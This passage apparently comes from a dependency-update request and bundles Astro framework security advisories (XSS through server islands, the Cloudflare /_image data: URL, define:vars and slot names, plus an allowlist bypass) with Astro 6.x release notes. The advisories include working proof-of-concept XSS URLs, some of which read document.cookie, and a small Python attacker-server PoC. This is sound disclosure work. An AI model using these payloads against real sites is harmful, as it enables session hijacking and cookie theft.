  • childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

  • Latest Astro version at the time (5.15.6)
  • Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

image

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

for_respected_patron

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint

CVE-2025-65019 / GHSA-fvmw-cj7j-j39q

More information

Details

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @​astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

  • @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)
  • Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@&#8203;astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

  1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
  2. Deploy to Cloudflare Pages or Workers.
  3. Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

  1. The endpoint returns a 302 redirect to the data: URL → browser executes the <script>alert() fires.

Impact

  • Reflected/Strored XSS (depending on application usage)
  • Session hijacking (access to cookies, localStorage, etc.)
  • Account takeover when combined with CSRF
  • Data exfiltration to attacker-controlled servers
  • Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: github.com/withastro/astro@e0f1a2b3e4/packages/astro/src/assets/endpoint/generic.ts (L43-L56)

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: github.com/withastro/astro@e0f1a2b3e4/packages/internal-helpers/src/remote.ts (L15-L21)

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: github.com/withastro/astro@e0f1a2b3e4/packages/internal-helpers/src/remote.ts (L85-L99)

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS in define:vars via incomplete tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElementdefineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

  • The application uses server islands
  • Two different server island components share the same key name for a prop and a slot
  • An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@&#8203;astrojs/react';
import node from '@&#8203;astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

image

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

withastro/astro (astro)

v6.4.6

Compare Source

Patch Changes
  • #​16765 b10e86e Thanks @​fkatsuhiro! - Fixes an issue where renaming an image file while the dev server is running triggers a build error. Now Astro correctly hot-reloads the image without crashing.

  • #​17026 add3df1 Thanks @​matthewp! - Hardens addAttribute to drop attribute names containing characters that are invalid per the HTML spec (", ', >, /, =, whitespace)

  • #​17033 ffda27b Thanks @​matthewp! - Validates the request origin against allowedDomains before fetching prerendered error pages. When allowedDomains is configured and the Host header matches, the original origin is used. Otherwise, the fetch falls back to localhost.

v6.4.5

Compare Source

Patch Changes
  • #​16985 4ecff32 Thanks @​maximslo! - Fixes the experimental.logger destination not being used for the "Server listening on..." startup message. The logger is now resolved before the server starts listening, and adapterLogger re-creates itself when the underlying logger changes so the startup message uses the correct destination.

  • #​16947 e0703a6 Thanks @​ematipico! - Fixes Astro.request.url not reflecting validated X-Forwarded-Proto/X-Forwarded-Host headers when security.allowedDomains is configured. Previously, only Astro.url was updated with the forwarded origin while Astro.request.url retained the socket-derived URL, causing the two to diverge behind TLS-terminating proxies.

  • #​16997 dc45246 Thanks @​matthewp! - Reverts a change to isNode runtime detection that caused a significant build time regression for Cloudflare adapter users with large prerendered sites

v6.4.4

Compare Source

Patch Changes
  • #​16926 1b39ae8 Thanks @​narendraio! - Prevents App.match() from throwing on request paths that contain an invalid percent-sequence.

  • #​16924 2c0bc94 Thanks @​astrobot-houston! - Fixes an issue where editing a client-side component (e.g. with client:idle, client:load, etc.) caused an unnecessary full program reload of the backend during development.

  • #​16958 2c1d50f Thanks @​fkatsuhiro! - Fixes a bug where static file endpoints using getStaticPaths with .html in dynamic param values (e.g. { path: 'file.html' }) would fail with a NoMatchingStaticPathFound error during build. The .html suffix is no longer incorrectly stripped from endpoint route pathnames.

  • #​16855 c610cda Thanks @​astrobot-houston! - Fixes dynamic routes returning 500 "TypeError: Missing parameter" when using domain-based i18n routing in SSR.

  • #​16946 606c37b Thanks @​ematipico! - Fixes Astro.routePattern to preserve original casing of dynamic parameter names from filenames. Previously, a file at src/pages/blog/[postId].astro would return /blog/[postid] for Astro.routePattern due to an internal .toLowerCase() call. It now correctly returns /blog/[postId].

  • #​16720 16d49b6 Thanks @​thomas-callahan-collibra! - Fix an issue where dynamic routes would return the string [object Object] instead of the expected content, in certain runtimes.

  • #​16703 17390a6 Thanks @​henrybrewer00-dotcom! - Fixes styles being stripped when the project root is started with a path whose case differs from the actual filesystem case (e.g. running astro dev from d:\dev\app while the folder on disk is D:\dev\app).

  • #​16855 c610cda Thanks @​astrobot-houston! - Fixes Astro.currentLocale returning the default locale instead of the domain's locale on dynamic routes served from a mapped domain.

v6.4.3

Compare Source

Patch Changes
  • #​16900 17a0fbd Thanks @​ocavue! - Bumps devalue dependency to v5.8.1

  • #​16016 0d85e1b Thanks @​felmonon! - Fix a false positive in the dev toolbar accessibility audit for anchors with text inside closed <details> elements.

  • #​16911 79c6c46 Thanks @​astrobot-houston! - Fixes a bug where experimental.advancedRouting with astro/hono handlers threw TypeError: Cannot read properties of undefined (reading 'route') for unmatched routes instead of rendering the custom 404 page.

  • #​16899 239c469 Thanks @​matthewp! - Fixes a false "does not call the middleware() handler" warning when using astro() in a custom src/app.ts and the first request is a redirect route.

  • #​16887 493acdb Thanks @​astrobot-houston! - Fixes redirectToDefaultLocale not working after the Advanced Routing refactoring.

  • #​16908 ef53ab9 Thanks @​florian-lefebvre! - Improves optimized fallbacks generation when using the Fonts API by using better metrics for bold variants

v6.4.2

Patch Changes
  • #​16889 b94bcfd Thanks @​Princesseuh! - Fixes a plugins is not iterable crash when using a pre-6.0 @astrojs/mdx alongside integrations (e.g. Starlight) that set markdown.remarkPlugins, markdown.rehypePlugins, or markdown.remarkRehype.

  • #​16878 b9f6bb9 Thanks @​fkatsuhiro! - Fixes an issue where on-demand (SSR) dynamic routes would return 404 when a prerendered dynamic route with the same URL pattern was sorted first alphabetically. In production builds with @astrojs/node adapter, if [a_prebuild].astro (prerender=true) came before [b_ssr].astro alphabetically, requests to URLs not in the prerendered route's static paths would 404 instead of falling through to the SSR route. The fix adds fallthrough logic so that when a prerendered dynamic route matches but can't serve the request, Astro tries subsequent matching routes.

v6.4.1

Patch Changes
  • #​16883 eeb064c Thanks @​Princesseuh! - Restores the astro/jsx/rehype.js entry point so that older versions of @astrojs/mdx continue to work when used with Astro 6.x. This entry point will be removed in Astro 7.0.

v6.4.0

Compare Source

Minor Changes
  • #​16468 4cff3a1 Thanks @​matthewp! - Adds a new preserveBuildServerDir adapter feature

    Adapters can now set preserveBuildServerDir: true in their adapter features to keep the dist/server/ directory structure for static builds, mirroring the existing preserveBuildClientDir option. This is useful for adapters that require a consistent dist/client/ and dist/server/ layout regardless of build output type.

    setAdapter({
      name: 'my-adapter',
      adapterFeatures: {
        buildOutput,
        preserveBuildClientDir: true,
        preserveBuildServerDir: true,
      },
    });
    
  • #​16848 f732f3c Thanks @​Princesseuh! - Adds a new markdown.processor configuration option, allowing you to choose an alternative Markdown processor.

    Websites with many Markdown/MDX files tend to be slow to build because the unified ecosystem (e.g., remark, rehype) is slow to process. This feature introduces the ability to replace this part of the build pipeline with another processor.

    The default processor is unified(). This means that existing configurations remain unchanged and your remark/rehype plugins continue to work.

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import { unified } from '@&#8203;astrojs/markdown-remark';
    import remarkToc from 'remark-toc';
    
    export default defineConfig({
      markdown: {
        processor: unified({
          remarkPlugins: [remarkToc],
        }),
      },
    });
    

    In addition to this new configuration option, Astro provides a new alternative processor based on Rust: Sätteri. You can choose to use it now by installing @astrojs/markdown-satteri, importing the satteri() processor, and adapting your existing configuration:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import { satteri } from '@&#8203;astrojs/markdown-satteri';
    
    export default defineConfig({
      markdown: {
        processor: satteri({
          features: { directive: true },
        }),
      },
    });
    

    This processor does not support the remark and rehype plugins. This means you may need to convert them to MDAST or HAST plugins to retain your current functionality.

    The existing top-level markdown.remarkPlugins, markdown.rehypePlugins, markdown.remarkRehype, markdown.gfm, and markdown.smartypants options still work, but are now deprecated and will be removed in a future major update. The matching remarkPlugins, rehypePlugins, and remarkRehype options on the MDX integration are also deprecated for the same reason. To anticipate their removal, move them onto unified({...}) (or your preferred plugin processor) :

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import remarkToc from 'remark-toc';
    import rehypeSlug from 'rehype-slug';
    + import { unified } from '@&#8203;astrojs/markdown-remark';
    
    export default defineConfig({
      markdown: {
    +    processor: unified({
    +      remarkPlugins: [remarkToc],
    +      rehypePlugins: [rehypeSlug],
    +      remarkRehype: true,
    +      gfm: true,
    +      smartypants: true,
    +    }),
    -    remarkPlugins: [remarkToc],
    -    rehypePlugins: [rehypeSlug],
    -    remarkRehype: true,
    -    gfm: true,
    -    smartypants: true,
      },
    });
    

    For more information on enabling and using this feature in your project, see our Markdown guide. To give feedback on this new Rust processor, see the Native Markdown / MDX parsing and processing RFC.

Patch Changes
  • #​16468 4cff3a1 Thanks @​matthewp! - Skips the static preview server when an adapter provides its own previewEntrypoint, allowing the adapter to handle both static and dynamic routes

  • #​16811 e0e26db Thanks @​matthewp! - Fixes X-Forwarded-Host and X-Forwarded-Proto headers being ignored when set in a custom src/app.ts fetch handler before creating FetchState

  • #​16468 4cff3a1 Thanks @​matthewp! - Fixes the static preview server to respect preserveBuildClientDir, serving files from build.client instead of outDir when the adapter requires it

  • #​16770 1e2aa11 Thanks @​matthewp! - Fixes a race condition where the Vite dep optimizer could lose React dependencies in dev mode when using Astro Actions

  • #​16468 4cff3a1 Thanks @​matthewp! - Exempts internal routes (e.g. server islands) from getStaticPaths() validation, fixing server island rendering on static sites

  • #​16468 4cff3a1 Thanks @​matthewp! - Fixes preview for static sites that contain non-prerendered routes. Previously, the preview command ignored SSR routes discovered during route scanning and always used the static preview server.

  • Updated dependencies [f732f3c, f732f3c]:

v6.3.8

Compare Source

Patch Changes
  • #​16830 f2bf3cb Thanks @​matthewp! - Fixes 404s for dynamically imported JS chunks when using an adapter with assetQueryParams (e.g. Vercel skew protection)

  • #​16831 ace96ba Thanks @​astrobot-houston! - Fixes a misleading GetStaticPathsRequired error when a redirect is configured from a dynamic route to a static (or less-dynamic) destination. For example, '/project/[slug]': '/' previously produced a confusing error pointing at index.astro. Astro now detects the parameter mismatch at config validation time and throws a clear InvalidRedirectDestination error naming the missing parameters.

  • #​16702 b7d1758 Thanks @​matthewp! - Fixes scoped styles from .astro components being dropped when rendered inside MDX content (<Content /> from render(entry)) passed through a named slot using <Fragment slot="X">. The Fragment component now eagerly evaluates its slot contents to ensure propagating components register their styles before head content is flushed.

  • #​16823 3df6a45 Thanks @​astrobot-houston! - Fixes missing CSS for conditionally rendered Svelte components in production builds

  • #​16836 3d7adfa Thanks @​LongYC! - Document compressHTML: "jsx" config is only available since Astro v6.2.0

  • #​16864 334ce13 Thanks @​cheets! - Fixes a false-positive Internal Warning: route cache overwritten logged on every SSR request for dynamic routes

v6.3.7

Compare Source

Patch Changes
  • #​16821 9c76b12 Thanks @​astrobot-houston! - Fixes request body handling in the Node adapter when req.body is a Buffer, Uint8Array, or ArrayBuffer. Previously, binary body data was incorrectly JSON-stringified (producing {"type":"Buffer","data":[...]}) instead of being passed through directly. This affected libraries like serverless-http that set req.body to a Buffer.

  • #​16785 de96360 Thanks @​astrobot-houston! - Fixes vite.build.minify, vite.build.sourcemap, and vite.build.rollupOptions.output (e.g. compact) being ignored for client-side builds. These top-level Vite build options are now properly forwarded to the client environment, with environment-specific overrides (vite.environments.client.build.*) taking priority when set.

  • #​16819 b5dd8f1 Thanks @​astrobot-houston! - Fixes custom elements in MDX files bypassing the renderer pipeline. Custom elements (tags containing hyphens like <my-element>) in .mdx files are now routed through registered renderers for SSR, matching the behavior of .astro files. If no renderer claims the element, it falls back to rendering as raw HTML.

  • #​16808 765896c Thanks @​ematipico! - Fixes dynamic routes returning 400 Bad Request when the URL contains a literal % character, such as paths built with encodeURIComponent('%?.pdf')

  • #​16804 90d2aca Thanks @​jp-knj! - Fixes a v6 regression where astro:i18n could not be imported from client <script> blocks.

v6.3.6

Compare Source

Patch Changes
  • #​16774 8f77583 Thanks @​astrobot-houston! - Fixes markdown images with empty alt text (![](image.jpg)) in content collections dropping the alt attribute entirely. The alt="" attribute is now correctly preserved in the rendered HTML output, which is important for accessibility (indicating decorative images).

  • #​16776 3d10b5e Thanks @​matthewp! - Fixes HMR serving stale content when components are passed as props via getStaticPaths()

  • #​16784 7453860 Thanks @​ematipico! - Improved the printing of the build time if it goes over the 60 seconds.

  • #​16665 3dbbcee Thanks @​Princesseuh! - Fixes remote SVG sources erroring with dangerouslyProcessSVG after the v6.3 SVG-processing gate. The default Sharp service now resolves the output format from the source up-front when it can (URL extension, data: MIME, ESM metadata), and from the actual buffer at request time when it can't, so SVG sources pass through untouched without needing to set image.dangerouslyProcessSVG: true or an explicit format="svg".

    The error message has also been updated to point at format="svg" as the simpler workaround when an SVG source is encountered without dangerouslyProcessSVG enabled.

  • #​16777 1754b91 Thanks @​matthewp! - Fixes HMR serving stale content for dynamically imported components through barrel files

  • #​16730 068d924 Thanks @​harshagarwalnyu! - Fixes an issue where the file() content loader did not generate a valid JSON Schema for collections whose JSON or YAML data is a top-level array instead of an object.

v6.3.5

Compare Source

Patch Changes
  • #​16771 07c8805 Thanks @​ematipico! - Fixes position prop on <Image> and <Picture> components breaking Content Security Policy (CSP).

  • #​16593 50924ce Thanks @​yanthomasdev! - Improves error messages with more consistent and correct writing.

  • #​16757 5d661cd Thanks @​astrobot-houston! - Fixes dev server serving stale content when SSR-only modules change (e.g. .astro files outside the project root in a monorepo, or dynamically imported components).

    Previously, the astro:hmr-reload plugin returned an empty array after detecting SSR-only module changes, which prevented Vite's updateModules from propagating the invalidation to the SSR module runner. The runner's evaluated module cache stayed stale, so subsequent requests continued returning old content.

    Now the plugin returns the SSR-only modules so Vite can process them through updateModules, which properly invalidates the module runner's cache and ensures fresh content on the next request.

v6.3.4

Compare Source

Patch Changes
  • #​16723 0f10bfe Thanks @​matthewp! - Adds fetchFile option to experimental.advancedRouting to customize or disable the entrypoint file

    export default defineConfig({
      experimental: {
        advancedRouting: {
          fetchFile: 'fetch.ts',
        },
      },
    });
    
  • #​16723 0f10bfe Thanks @​matthewp! - Fixes Hono cache() middleware to follow the standard wrapper pattern

  • #​16723 0f10bfe Thanks @​matthewp! - Adds App.Providers interface for typing custom context providers on Astro and ctx

    declare namespace App {
      interface Providers {
        oauth: import('./lib/oauth').OAuthSession;
      }
    }
    
  • #​16723 0f10bfe Thanks @​matthewp! - Adds FetchState.response property, set automatically after pages() or middleware() completes

    const response = await middleware(state, (s) => pages(s));
    console.log(state.response === response); // true
    
  • #​16723 0f10bfe Thanks @​matthewp! - Adds Fetchable type export for typing the advanced routing entrypoint

    import type { Fetchable } from 'astro';
    
    export default {
      async fetch(request) {
        return new Response('ok');
      },
    } satisfies Fetchable;
    
  • #​16572 4a5a077 Thanks @​DORI2001! - Suppresses [WARN] Vite warning: unused imports from "@&#8203;astrojs/internal-helpers/remote" during prerender builds. The package is now bundled alongside astro in the prerender environment, matching how it is handled in the SSR environment.

  • #​16756 b6ee23d Thanks @​astrobot-houston! - Fixes styles from Markdoc/MDX custom components not being extracted to <head> in the dev server when using the Cloudflare adapter with prerenderEnvironment: 'node' and rendering content through a wrapper component.

  • #​16747 904d19a Thanks @​astrobot-houston! - Fixes Astro action requests failing in astro dev when using the Cloudflare adapter with prerenderEnvironment: 'node' alongside a prerendered catch-all route such as [...page].astro.

    Actions and other SSR POST endpoints now continue to work in dev instead of returning an HTTP 500 error.

  • #​16701 3495ce4 Thanks @​demaisj! - Fix Map and Set instances saved in a content collection being broken when retrieving entries.

